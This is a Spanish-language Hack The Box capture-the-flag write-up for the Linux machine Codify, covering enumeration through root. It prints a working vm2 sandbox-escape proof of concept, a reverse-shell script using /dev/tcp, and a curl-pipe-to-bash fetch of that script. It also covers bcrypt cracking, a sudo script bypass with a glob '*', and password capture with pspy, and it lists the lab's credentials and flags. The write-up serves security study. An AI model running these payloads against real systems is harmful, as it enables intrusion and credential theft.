



HACK THE BOX • LINUX

Codify

Writeup técnico completo ·
explotación reproducible

Máquina Codify resuelta

HTB Codify · 06 de mayo de 2026

Autor	Ramon Santos Sabarich / r4ms4nt
Tipo	Informe técnico completo y archivable
Objetivo	Documentar enumeración, CVE, pivote, user y root con trazabilidad clara y reutilizable
Fecha de resolución	06 de mayo de 2026



Informe técnico normalizado para archivo,
consulta y trazabilidad.

GUÍA DE LECTURA

Índice

Informe técnico didáctico de la máquina Codify. El documento mantiene la secuencia cronológica de enumeración, explotación, movimiento lateral y escalada, con explicación de decisiones, evidencias y lecciones reutilizables.

Informe técnico didáctico

1. Sinopsis técnica
2. Preparación y arranque del laboratorio
 - 2.1 Uso de Inici-HTB
 - 2.2 Evidencia inicial
 - 2.3 Lectura de la fase 1
3. Normalización del hostname y comparación de superficies HTTP
 - 3.1 Resolución de codify.htb
 - 3.2 Comparación entre IP, hostname y puerto 3000
 - 3.3 Extracción de rutas públicas
 - 3.4 Cierre de WEB-BASE inicial
4. Identificación de la tecnología de sandbox
 - 4.1 Descarga de páginas informativas
 - 4.2 Búsqueda de términos clave
 - 4.3 Restricciones declaradas por la aplicación
 - 4.4 Flujo real del editor
5. Validación benigna del endpoint /run
 - 5.1 Por qué validar antes de explotar
 - 5.2 Prueba contra /run
 - 5.3 Validación de módulo restringido
6. Candidata pública: escape de sandbox en vm2
 - Hecho verificado
 - Inferencia razonable
 - Pendiente hasta validación
7. Validación del escape de sandbox
 - 7.1 Prueba mínima con id
 - 7.2 Preparación de reverse shell
 - 7.3 PoC para obtener shell
8. Enumeración local tras foothold
 - 8.1 Identificación de usuarios interactivos
 - 8.2 Búsqueda de artefactos web
 - 8.3 Confirmación de la base SQLite
9. Extracción de hash desde tickets.db

- 9.1 Enumeración de tablas
- 9.2 Volcado de la tabla users
- 9.3 Crackeo offline
- 10. Movimiento lateral por SSH
- 11. Enumeración sudo como joshua
 - 11.1 Revisión de permisos sudo
 - 11.2 Inspección del script antes de ejecutarlo
- 12. Análisis de la vulnerabilidad del script
 - 12.1 Comparación insegura en Bash
 - 12.2 Exposición de contraseña por argumentos de proceso
- 13. Captura de la contraseña real con pspy
 - 13.1 Preparación en la máquina atacante
 - 13.2 Transferencia a la víctima
 - 13.3 Segunda sesión SSH para disparar el script
 - 13.4 Contraseña capturada
- 14. Escalada final a root
- 15. Resumen técnico final
 - 15.1 Cadena de explotación
 - 15.2 Flags
 - 15.3 Credenciales y secretos del caso
- 16. Lecciones reutilizables
 - 16.1 Leer la aplicación antes de buscar exploits
 - 16.2 Distinguir bloqueo directo de seguridad real
 - 16.3 Validar el flujo antes de explotar
 - 16.4 La evidencia real corrige la ruta del writeup
 - 16.5 Las bases locales de aplicación son pivotes frecuentes
 - 16.6 El crackeo se hace offline
 - 16.7 No ejecutar scripts sudo sin leerlos
 - 16.8 Las advertencias importan
 - 16.9 Diferenciar solicitudes de entrada evita errores
 - 16.10 Incidencias operativas que no son hallazgos de la máquina

Hack The Box — Codify

Informe técnico didáctico

Máquina: Codify

Plataforma: Hack The Box

Sistema: Linux

Dificultad: Easy

Fecha de trabajo: 2026-05-06, zona Europe/Madrid

Estado: Resuelta

Usuario inicial obtenido: `svc`

Usuario lateral: `joshua`

Usuario final: `root`

1. Sinopsis técnica

Codify expone una aplicación web desarrollada con Node.js/Express que permite ejecutar fragmentos de código JavaScript dentro de un entorno de sandbox. La propia aplicación documenta el uso de `vm2` y enlaza a la versión `3.9.16`, lo que convierte la superficie web en una vía candidata para un escape de sandbox.

La resolución se apoya en una cadena de evidencias progresiva:

1. enumeración inicial con `Inici-HTB`;
2. identificación de una aplicación Node.js/Express en los puertos `80` y `3000`;
3. detección de `vm2 3.9.16` como tecnología de sandbox;
4. validación benigna del endpoint `/run`;
5. comprobación de bloqueo directo de módulos sensibles como `child_process`;
6. explotación de una vulnerabilidad pública compatible con la versión observada;
7. obtención de shell como `svc`;
8. búsqueda de artefactos locales de aplicación;
9. extracción de un hash bcrypt de `joshua` desde una base SQLite;
10. crackeo offline del hash y acceso SSH como `joshua`;
11. revisión de permisos `sudo`;
12. análisis de un script de backup ejecutable como `root`;
13. abuso de una comparación insegura en Bash;
14. captura de la contraseña real mediante observación de procesos con `pspy`;
15. autenticación como `root` y lectura de la flag final.

La cadena completa queda resumida así:

```
Node.js/Express
-> vm2 3.9.16
-> escape de sandbox
-> shell como svc
-> SQLite tickets.db
-> hash bcrypt de joshua
-> crackeo offline
-> SSH como joshua
-> sudo sobre mysql-backup.sh
-> bypass con *
-> pspy captura contraseña real
-> su root
```

2. Preparación y arranque del laboratorio

2.1 Uso de `Inici-HTB`

El caso comenzó con la ejecución del script propio `Inici-HTB`, utilizado para preparar el entorno de trabajo, comprobar conectividad y generar una base inicial de evidencias.

```
Inici-HTB Codify 10.129.40.127 easy
```

Este script no explota nada. Su valor está en ordenar el laboratorio desde el inicio y dejar una estructura mínima de trabajo:

```
Codify/
├── content/
├── exploits/
├── nmap/
│   ├── allPorts
│   ├── extractPorts.txt
│   ├── nmap_tcp_services.txt
│   ├── ping.txt
│   └── whichSystem.txt
└── notes/
    ├── 00_resumen_inicial.md
    └── 01_siguiete_paso.txt
```

La idea didáctica de esta fase es importante: antes de buscar vulnerabilidades, se necesita saber qué superficie real existe. En una máquina Linux sencilla, un mal arranque suele provocar dos errores: saltar a explotación sin evidencia o perder tiempo en ramas secundarias.

2.2 Evidencia inicial

La máquina respondió al ping:

```
64 bytes from 10.129.40.127: icmp_seq=1 ttl=63 time=47.4 ms
```


El TTL `63` y la salida de `whichSystem.py` apuntaron a Linux:

```
10.129.40.127 (ttl -> 63): Linux
```

El escaneo completo de puertos detectó tres puertos abiertos:

```
22/tcp    open  ssh
80/tcp    open  http
3000/tcp  open  ppp
```

El escaneo de servicios precisó mejor la superficie:

```
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.4
80/tcp    open  http     Apache httpd 2.4.52
3000/tcp  open  http     Node.js Express framework
```

Además, el puerto `80` mostraba una redirección hacia:

```
http://codify.htb/
```

2.3 Lectura de la fase 1

La primera decisión metodológica fue clara:

```
Superficie dominante: HTTP / aplicación web
Rama principal: WEB-BASE
Ramas secundarias: SSH
Siguiendo paso único: resolver codify.htb y observar la aplicación web por 80 y 3000
```

SSH quedó anotado como vía secundaria porque estaba abierto, pero no existían credenciales. La superficie dominante era web, con dos señales muy fuertes:

```
80/tcp    -> Apache con redirección a codify.htb
3000/tcp  -> aplicación Node.js Express con título Codify
```

3. Normalización del hostname y comparación de superficies HTTP

3.1 Resolución de `codify.htb`

Nmap ya había revelado el hostname `codify.htb`, por lo que se añadió al fichero `/etc/hosts`:

```
echo "10.129.40.127 codify.htb" | sudo tee -a /etc/hosts
```

Comprobación:

```
getent hosts codify.htb
```

Salida:

```
10.129.40.127 codify.htb
```

Este paso era necesario porque el puerto `80` redirigía hacia el nombre de host. Si la máquina atacante no resolvía `codify.htb`, las peticiones HTTP no iban a representar correctamente el comportamiento real de la aplicación.

3.2 Comparación entre IP, hostname y puerto 3000

Se revisaron cabeceras HTTP por IP, por hostname y por el puerto directo `3000`:

```
curl -sS -I http://10.129.40.127
curl -sS -I http://codify.htb
curl -sS -I http://codify.htb:3000
```

La IP redirigía al hostname:

```
HTTP/1.1 301 Moved Permanently
Server: Apache/2.4.52 (Ubuntu)
Location: http://codify.htb/
```

El hostname devolvía `200 OK` y mostraba Express detrás de Apache:

```
HTTP/1.1 200 OK
Server: Apache/2.4.52 (Ubuntu)
X-Powered-By: Express
Content-Length: 2269
```

El puerto `3000` devolvía la misma longitud y también `X-Powered-By: Express`:

```
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Length: 2269
```

La interpretación fue que Apache en el puerto `80` actuaba como frontal o proxy, mientras que el puerto `3000` exponía directamente la aplicación Express. En ambos casos se alcanzaba el mismo backend.

3.3 Extracción de rutas públicas

Se extrajeron recursos visibles desde la página principal:

```
curl -sS http://codify.htb | grep -oP 'href="\K[^"]+|src="\K[^"]+' | sort -u
curl -sS http://codify.htb:3000 | grep -oP 'href="\K[^"]+|src="\K[^"]+' | sort -u
```

Rutas observadas:

```
/about
/editor
/limitations
```

robots.txt no existía como recurso válido:

```
Cannot GET /robots.txt
```

whatweb confirmó la lectura tecnológica:

```
http://codify.htb      -> Apache 2.4.52 + Express + Bootstrap 4.3.1
http://codify.htb:3000 -> Express + Bootstrap 4.3.1
```

3.4 Cierre de WEB-BASE inicial

La aplicación no mostraba un CMS, ni un login, ni un panel autenticado. Tampoco aparecían descargas ni artefactos públicos. La señal relevante era otra: la propia aplicación se presentaba como una plataforma para ejecutar código Node.js en un sandbox.

El texto visible indicaba:

```
Codify uses sandboxing technology to run your code.
```

Eso cambió el foco. La web dejaba de ser una superficie genérica y pasaba a ser una aplicación que ejecuta código no confiable.

4. Identificación de la tecnología de sandbox

4.1 Descarga de páginas informativas

Se guardaron las rutas públicas relevantes:


```
mkdir -p content/web

curl -sS http://codify.htb/about -o content/web/about.html
curl -sS http://codify.htb/limitations -o content/web/limitations.html
curl -sS http://codify.htb/editor -o content/web/editor.html
```

La razón para guardar estas páginas era conservar evidencia local y poder buscar términos técnicos sin depender del navegador.

4.2 Búsqueda de términos clave

Se buscaron indicadores relacionados con ejecución de código, sandboxing y módulos de Node.js:

```
grep -RniE 'sandbox|node|vm2|module|require|child_process|limitations|restricted|editor|code'
content/web/
```

La página `/about` identificó la tecnología de sandbox:

```
The vm2 library is a widely used and trusted tool for sandboxing JavaScript.
```

Además, enlazaba a:

```
https://github.com/patriksimek/vm2/releases/tag/3.9.16
```

Esta fue una señal muy fuerte de versión, aunque se debe describir con precisión: es una versión observada desde la aplicación, no una versión confirmada desde el sistema de ficheros.

4.3 Restricciones declaradas por la aplicación

La página `/limitations` indicaba que ciertos módulos estaban restringidos:

```
Restricted Modules:
- child_process
- fs
```

También listaba módulos permitidos:

```
url
crypto
util
events
assert
stream
path
os
zlib
```

Esta información ayuda a entender el modelo defensivo de la aplicación. No se trata de una ejecución Node.js sin controles; hay un intento explícito de bloquear módulos peligrosos. Sin embargo, esa capa no demuestra que el sandbox sea seguro.

4.4 Flujo real del editor

El fichero `editor.html` reveló cómo se envía el código al backend:

```
textarea id="code"
button onclick="runCode()"
fetch('/run', {
  method: 'POST',
  body: JSON.stringify({ code: encodedCode })
})
```

El navegador codifica el contenido con `btoa()`:

```
const code = document.getElementById('code').value;
const encodedCode = btoa(code);
```

y lo envía a:

```
POST /run
```

La superficie técnica dominante pasa a ser:

```
Aplicación Node.js/Express
-> editor de código JavaScript
-> sandbox vm2
-> versión observada 3.9.16
-> endpoint POST /run
-> código enviado en Base64 dentro de JSON
```

5. Validación benigna del endpoint `/run`

5.1 Por qué validar antes de explotar

Antes de usar una PoC pública, se validó el flujo de forma benigna. Este paso evita confundir un problema de formato, Base64, JSON o endpoint con un fallo de explotación.

Se preparó un código inocuo:

```
console.log("HTB-Codify-test")
```

y se codificó en Base64:

```
node -e 'console.log(Buffer.from("console.log(\"HTB-Codify-test\")").toString("base64"))'
```

Salida:

```
Y29uc29sZS5sb2coIkhUQi1Db2RpZnktbGVzdCIp
```

5.2 Prueba contra `/run`

Se reprodujo desde terminal lo que hacía el navegador:

```
curl -sS -X POST http://codify.htb/run \
-H "Content-Type: application/json" \
-d '{"code": "Y29uc29sZS5sb2coIkhUQi1Db2RpZnktbGVzdCIp"}' | jq
```

Respuesta:

```
{
  "output": "HTB-Codify-test\r\n"
}
```

La misma prueba funcionó contra el puerto directo `3000` :

```
curl -sS -X POST http://codify.htb:3000/run \
-H "Content-Type: application/json" \
-d '{"code": "Y29uc29sZS5sb2coIkhUQi1Db2RpZnktbGVzdCIp"}' | jq
```

Respuesta:

```
{
  "output": "HTB-Codify-test\r\n"
}
```

La lectura es clara: el endpoint `/run` acepta JSON, espera `code` en Base64, ejecuta el JavaScript dentro del backend y devuelve la salida en el campo `output` .

5.3 Validación de módulo restringido

Después se comprobó si la restricción sobre `child_process` era real. Se envió el equivalente a:

```
require("child_process")
```

codificado como:

```
cmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIp
```

Petición:

```
curl -sS -X POST http://codify.htb/run \  
-H "Content-Type: application/json" \  
-d '{"code": "cmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIp"}' | jq
```

Respuesta:

```
{  
  "error": "Module \"child_process\" is not allowed"  
}
```

Este resultado no descarta la vía de explotación. Al contrario, aclara el modelo defensivo: la aplicación bloquea importaciones directas de módulos peligrosos y delega la seguridad real del aislamiento en `vm2`.

La pregunta técnica ya no es:

¿puede importarse `child_process` directamente?

La pregunta pasa a ser:

¿puede escaparse del sandbox `vm2` pese a esas restricciones?

6. Candidata pública: escape de sandbox en `vm2`

La revisión de vulnerabilidades públicas asociadas a `vm2 3.9.16` conduce a **CVE-2023-30547**, una vulnerabilidad de escape de sandbox en `vm2`. Según las notas de trabajo, esta candidata afecta a versiones hasta `3.9.16`, está relacionada con una sanitización incorrecta de excepciones y fue corregida posteriormente.

En esta fase se separan tres niveles:

Hecho verificado

La aplicación usa `vm2` y enlaza a `3.9.16`.

Inferencia razonable

La versión en uso puede ser vulnerable a CVE-2023-30547.

Pendiente hasta validación

La vulnerabilidad debe probarse en el endpoint real `/run` y demostrar ejecución fuera del sandbox.

7. Validación del escape de sandbox

7.1 Prueba mínima con `id`

La validación inicial se realizó desde la página:

```
http://codify.htb/editor
```

Se pegó una PoC pública adaptada para ejecutar `id`:

```
const {VM} = require("vm2");
const vm = new VM();
const code = `
err = {};
const handler = {
  getPrototypeOf(target) {
    (function stack() {
      new Error().stack;
      stack();
    })();
  }
};

const proxiedErr = new Proxy(err, handler);
try {
  throw proxiedErr;
} catch ({constructor: c}) {
  c.constructor('return process')().mainModule.require('child_process').execSync('id');
}
`;
console.log(vm.run(code));
```

La salida fue:

```
uid=1001(svc) gid=1001(svc) groups=1001(svc)
```

La importancia de esta prueba es que `child_process` estaba bloqueado por importación directa. Obtener la salida de `id` demuestra que la ejecución ya no está limitada al flujo normal del sandbox y que se ha alcanzado el contexto del proceso Node.js del backend.

7.2 Preparación de reverse shell

Se creó un script local `rev.sh` en la máquina atacante:

```
cat > rev.sh <<'EOF'
#!/bin/bash
sh -i >& /dev/tcp/10.10.15.26/4444 0>&1
EOF

chmod +x rev.sh
cat rev.sh
```

Contenido:

```
#!/bin/bash
sh -i >& /dev/tcp/10.10.15.26/4444 0>&1
```

Se inició un servidor HTTP para servir el script:

```
python3 -m http.server 8081
```

Y un listener para recibir la conexión:

```
nc -lnvp 4444
```

Antes de ejecutar la PoC fue necesario confirmar la IP real de la interfaz VPN:

```
ip -4 addr show tun0
```

Salida relevante:

```
inet 10.10.15.26/23 scope global tun0
```

Este control evitó mezclar IPs en el script y en el `curl` de la PoC.

7.3 PoC para obtener shell

En `/editor` se ejecutó la PoC modificada para descargar y ejecutar `rev.sh`:

```
const {VM} = require("vm2");
const vm = new VM();
const code = `
err = {};
const handler = {
  getPrototypeOf(target) {
    (function stack() {
      new Error().stack;
      stack();
    })();
  }
};

const proxiedErr = new Proxy(err, handler);
try {
  throw proxiedErr;
} catch ({constructor: c}) {
  c.constructor('return process')().mainModule.require('child_process').execSync('curl
http://10.10.15.26:8081/rev.sh|bash');
}
`;

console.log(vm.run(code));
```

En el listener se recibió conexión desde la máquina víctima:


```
connect to [10.10.15.26] from (UNKNOWN) [10.129.40.127] 41374
sh: 0: can't access tty; job control turned off
```

Se estabilizó mínimamente la shell:

```
script /dev/null -c bash
export TERM=xterm
```

Validación de contexto:

```
whoami
id
hostname
pwd
```

Salida:

```
svc
uid=1001(svc) gid=1001(svc) groups=1001(svc)
codify
/home/svc
```

La fase de acceso inicial queda cerrada: el usuario inicial es `svc`.

8. Enumeración local tras foothold

8.1 Identificación de usuarios interactivos

Se revisó `/etc/passwd` para detectar usuarios locales con shell:

```
cat /etc/passwd
```

Usuarios relevantes:

```
joshua:x:1000:1000:,,,:/home/joshua:/bin/bash
svc:x:1001:1001:,,,:/home/svc:/bin/bash
```

Esta salida orientó el movimiento lateral: si la aplicación almacenaba credenciales o hashes, `joshua` era el usuario local candidato.

8.2 Búsqueda de artefactos web

La bitácora de referencia apuntaba a `/var/www/contacts`, pero esa ruta no existía en la instancia trabajada. En lugar de insistir sobre una ruta no verificada, se enumeró `/var/www`:

```
ls -la /var/www && find /var/www -maxdepth 5 -type f -name tickets.db 2>/dev/null && find /var/www -maxdepth 5 -type f -name "*.db" 2>/dev/null
```

Salida relevante:

```
drwxr-xr-x 3 svc svc 4096 Sep 12 2023 contact
drwxr-xr-x 4 svc svc 4096 Sep 12 2023 editor
drwxr-xr-x 2 svc svc 4096 Apr 12 2023 html
/var/www/contact/tickets.db
/var/www/contact/tickets.db
```

La ruta correcta era:

```
/var/www/contact/tickets.db
```

Este ajuste es metodológicamente importante: la referencia orienta, pero la evidencia de la máquina manda.

8.3 Confirmación de la base SQLite

Se revisó el directorio real:

```
cd /var/www/contact && pwd && ls -la && file tickets.db && which sqlite3
```

Salida:

```
/var/www/contact
-rw-rw-r-- 1 svc svc 4377 Apr 19 2023 index.js
-rw-rw-r-- 1 svc svc 268 Apr 19 2023 package.json
-rw-rw-r-- 1 svc svc 77131 Apr 19 2023 package-lock.json
drwxrwxr-x 2 svc svc 4096 Apr 21 2023 templates
-rw-r--r-- 1 svc svc 20480 Sep 12 2023 tickets.db
tickets.db: SQLite 3.x database
/usr/bin/sqlite3
```

La máquina tenía `sqlite3` instalado, por lo que no fue necesario transferir la base para leerla.

9. Extracción de hash desde `tickets.db`

9.1 Enumeración de tablas

Se listaron las tablas:

```
sqlite3 /var/www/contact/tickets.db ".tables"
```

Salida:

```
tickets  users
```

La tabla `users` pasó a ser prioritaria, porque podía contener credenciales o hashes reutilizables.

9.2 Volcado de la tabla `users`

Se mostró esquema y contenido:

```
sqlite3 /var/www/contact/tickets.db ".schema users" ".headers on" ".mode column" "SELECT * FROM users;"
```

Salida:

```
CREATE TABLE users (  
  id INTEGER PRIMARY KEY AUTOINCREMENT,  
  username TEXT UNIQUE,  
  password TEXT  
);
```

Contenido:

id	username	password
3	joshua	\$2a\$12\$S0n8Pf6z8f0/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2

El prefijo `$2a$12$` permitió clasificar el hash como bcrypt.

9.3 Crackeo offline

El hash se guardó en la máquina atacante:

```
cd /home/r4mon/pentest/targets/HTB/easy/Codify  
  
mkdir -p loot  
  
cat > loot/joshua_hash.txt <<'EOF'  
$2a$12$S0n8Pf6z8f0/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2  
EOF  
  
cat loot/joshua_hash.txt
```

Se lanzó Hashcat en modo bcrypt:

```
hashcat -m 3200 loot/joshua_hash.txt /usr/share/wordlists/rockyou.txt
```

Resultado:

```
$2a$12$S0n8Pf6z8f0/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2:spongebob1  
Status: Cracked  
Hash.Mode: 3200 (bcrypt $2*$, Blowfish (Unix))
```

Credencial obtenida:

```
joshua:spongebob1
```

La contraseña fue crackeada offline, no en la víctima. Esto reduce ruido en el sistema objetivo y mantiene la fase de credenciales separada de la enumeración local.

10. Movimiento lateral por SSH

Desde fase 1 se sabía que SSH estaba abierto:

```
22/tcp open ssh OpenSSH 8.9p1 Ubuntu
```

Se probó la contraseña recuperada contra el usuario local `joshua` :

```
ssh joshua@10.129.40.127
```

Contraseña:

```
spongebob1
```

Acceso confirmado:

```
whoami -> joshua  
id      -> uid=1000(joshua) gid=1000(joshua) groups=1000(joshua)  
hostname -> codify  
pwd      -> /home/joshua
```

Se leyó la flag de usuario:

```
cat user.txt
```

Salida:

```
11dd43c706035918d593ce3b7cbd24fd
```

La cadena de movimiento lateral queda cerrada:

```
svc
-> tickets.db
-> hash bcrypt de joshua
-> crackeo offline
-> spongebob1
-> SSH como joshua
```

11. Enumeración sudo como `joshua`

11.1 Revisión de permisos sudo

La primera comprobación de escalada local fue:

```
sudo -l
```

Contraseña usada:

```
spongebob1
```

Salida relevante:

```
User joshua may run the following commands on codify:
(root) /opt/scripts/mysql-backup.sh
```

La prioridad cambió: ya no importaba la base SQLite ni la web. La vía principal era ahora un script custom ejecutable como `root`.

11.2 Inspección del script antes de ejecutarlo

Se revisaron permisos, tipo y contenido:

```
ls -la /opt/scripts/mysql-backup.sh
file /opt/scripts/mysql-backup.sh
sed -n '1,220p' /opt/scripts/mysql-backup.sh
```

Permisos:

```
-rwxr-xr-x 1 root root 928 Nov  2 2023 /opt/scripts/mysql-backup.sh
```

Tipo:

```
/opt/scripts/mysql-backup.sh: Bourne-Again shell script, ASCII text executable
```

Contenido relevante:

```
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
    /usr/bin/echo "Password confirmed!"
else
    /usr/bin/echo "Password confirmation failed!"
    exit 1
fi
```

Después usa la contraseña real en comandos MySQL:

```
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;"
| /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
```

y:

```
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db"
```

12. Análisis de la vulnerabilidad del script

El script contiene dos debilidades útiles en cadena.

12.1 Comparación insegura en Bash

La línea crítica es:

```
if [[ $DB_PASS == $USER_PASS ]]; then
```

En Bash, dentro de `[[ ... == ... ]]`, el lado derecho de la comparación puede comportarse como patrón. Si se introduce `*`, puede coincidir con cualquier contraseña.

Se validó ejecutando:

```
sudo /opt/scripts/mysql-backup.sh
```

Cuando el script preguntó:

```
Enter MySQL password for root:
```

se introdujo:

```
*
```

Salida:

```
Password confirmed!
```

El bypass estaba confirmado.

12.2 Exposición de contraseña por argumentos de proceso

Tras el bypass, el script ejecuta `mysql` y `mysqldump` con la contraseña en línea de comandos:

```
-p"$DB_PASS"
```

Esto genera incluso advertencias:

```
mysql: [Warning] Using a password on the command line interface can be insecure.  
mysqldump: [Warning] Using a password on the command line interface can be insecure.
```

La advertencia es una pista excelente: si la contraseña viaja como argumento del proceso, puede observarse temporalmente con una herramienta como `pspy`.

13. Captura de la contraseña real con `pspy`

13.1 Preparación en la máquina atacante

Se descargó `pspy64s`:

```
cd /home/r4mon/pentest/targets/HTB/easy/Codify  
  
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s -O pspy64s  
  
python3 -m http.server 8082
```

13.2 Transferencia a la víctima

Desde la sesión SSH como `joshua`:


```
cd /tmp  
wget http://10.10.15.26:8082/pspy64s -O pspy64s  
chmod +x pspy64s  
./pspy64s
```

`pspy` se dejó corriendo en una sesión SSH.

13.3 Segunda sesión SSH para disparar el script

Se abrió otra sesión SSH como `joshua` y se ejecutó:

```
sudo /opt/scripts/mysql-backup.sh
```

Es importante distinguir los dos solicitudes de entrada:

```
[sudo] password for joshua:
```

Aquí va la contraseña de `joshua` :

```
spongebob1
```

Luego aparece el solicitud de entrada del script:

```
Enter MySQL password for root:
```

Aquí va el comodín:

```
*
```

13.4 Contraseña capturada

`pspy` capturó el proceso `mysqldump` :

```
/usr/bin/mysqldump --force -u root -h 0.0.0.0 -P 3306 -pkljh12k3jhaskjh12kjh3 mysql
```

Contraseña recuperada:

```
kljh12k3jhaskjh12kjh3
```

La línea confirma tres hechos:

1. el proceso se ejecuta como `UID=0` ;

2. el script usa la contraseña real leída desde `/root/.creds` ;
3. esa contraseña aparece expuesta en los argumentos del proceso.

14. Escalada final a `root`

Se probó reutilización de la contraseña con `su root` :

```
su root
```

Contraseña:

```
kljh12k3jhaskjh12kjh3
```

Validación:

```
whoami  
id  
hostname  
pwd  
cat /root/root.txt
```

Salida:

```
root  
uid=0(root) gid=0(root) groups=0(root)  
codify  
/home/joshua  
12366f1e417e8d87083a018e0ffdb931
```

La flag de root fue:

```
12366f1e417e8d87083a018e0ffdb931
```

15. Resumen técnico final

15.1 Cadena de explotación

1. Fase 1:
 - Linux detectado por TTL.
 - Puertos abiertos: 22, 80, 3000.
 - Web dominante.
2. WEB-BASE:
 - Apache en 80.
 - Express en 3000.
 - Misma aplicación por hostname y puerto directo.
 - Rutas públicas: /about, /editor, /limitations.
3. Tecnología:
 - Aplicación para probar código Node.js.
 - Sandbox identificado: vm2.
 - Versión observada: 3.9.16.
 - Endpoint real: POST /run.
 - Código enviado en Base64.
4. Validaciones:
 - /run ejecuta código benigno.
 - child_process está bloqueado por importación directa.
 - La vía correcta es escape de sandbox, no require directo.
5. Foothold:
 - PoC compatible con vm2 3.9.16.
 - Ejecución de id como svc.
 - Reverse shell como svc.
6. Movimiento lateral:
 - /var/www/contact/tickets.db localizado.
 - Base SQLite válida.
 - Tabla users contiene hash bcrypt de joshua.
 - Hashcat recupera spongebob1.
 - SSH como joshua.
 - user.txt obtenido.
7. Escalada:
 - sudo -l permite /opt/scripts/mysql-backup.sh como root.
 - Script lee /root/.creds.
 - Comparación insegura permite bypass con *.
 - mysql/mysqldump exponen password por argumentos.
 - pspy captura kljh12k3jhaskjh12kjh3.
 - su root funciona.
 - root.txt obtenido.

15.2 Flags

```
user.txt: 11dd43c706035918d593ce3b7cbd24fd
root.txt: 12366f1e417e8d87083a018e0ffdb931
```

15.3 Credenciales y secretos del caso

```
joshua:spongebob1  
root / MySQL password: kljh12k3jhaskjh12kjh3
```

16. Lecciones reutilizables

16.1 Leer la aplicación antes de buscar exploits

Codify enseña que una web sencilla puede revelar su propia vía de ataque si se leen bien sus páginas. `/about`, `/limitations` y `/editor` aportaron más valor que un fuzzing genérico temprano.

Patrón reutilizable:

```
landing simple  
-> páginas informativas  
-> tecnología declarada  
-> versión observada  
-> endpoint funcional  
-> validación benigna  
-> análisis de candidata pública
```

16.2 Distinguir bloqueo directo de seguridad real

El bloqueo de `child_process` no hacía segura la aplicación. Solo impedía una vía directa. La protección real dependía de `vm2`, y la versión observada era vulnerable.

Lección:

Un filtro sobre módulos peligrosos no equivale a un sandbox robusto.

16.3 Validar el flujo antes de explotar

Antes de la PoC, se confirmó que `/run` aceptaba JSON, requería Base64 y devolvía salida en `output`. Esta validación evitó errores de interpretación.

Lección:

Si un exploit falla, primero hay que saber si el flujo básico funciona.

16.4 La evidencia real corrige la ruta del writeup

La ruta esperada era `/var/www/contacts`, pero la máquina tenía `/var/www/contact`.

Lección:

La bitácora orienta; la evidencia manda.

16.5 Las bases locales de aplicación son pivotes frecuentes

`tickets.db` contenía el hash de `joshua`. Este patrón es muy común tras un foothold web: la aplicación suele tener bases locales, ficheros `.env`, configuraciones o artefactos que permiten moverse a otro usuario.

16.6 El crackeo se hace offline

El hash bcrypt se extrajo y se crackeó en la máquina atacante. No se ejecutó crackeo en la víctima.

Lección:

Extraer artefacto -> clasificar hash -> crackeo offline -> validar reutilización

16.7 No ejecutar scripts sudo sin leerlos

`sudo -l` mostró un script custom. La vía correcta fue leerlo antes de ejecutarlo. El fallo estaba en su lógica: lectura de `/root/.creds`, comparación insegura y uso de la contraseña como argumento.

16.8 Las advertencias importan

El mensaje:

Using a password on the command line interface can be insecure

no era ruido. Era una pista directa de que la contraseña podía verse en procesos.

16.9 Diferenciar solicitudes de entrada evita errores

En la escalada hubo dos solicitudes de entrada distintos:

```
[sudo] password for joshua: -> spongebob1
Enter MySQL password for root: -> *
```

Confundirlos produce fallos de autenticación que no tienen que ver con la vulnerabilidad.

16.10 Incidencias operativas que no son hallazgos de la máquina

Durante el laboratorio aparecieron incidencias locales útiles para recordar, pero no deben confundirse con vulnerabilidades de Codify:

- usar `path` como variable en `zsh` rompió temporalmente la resolución de comandos como `curl`, `grep` y `sort`;
- un `heredoc` con bloques Markdown internos puede quedar mal copiado;

- el pegado sucio en shell se corrigió con:

```
bind 'set enable-bracketed-paste off'
```

Estas incidencias son útiles para el aprendizaje operativo, pero no forman parte de la explotación de la máquina.

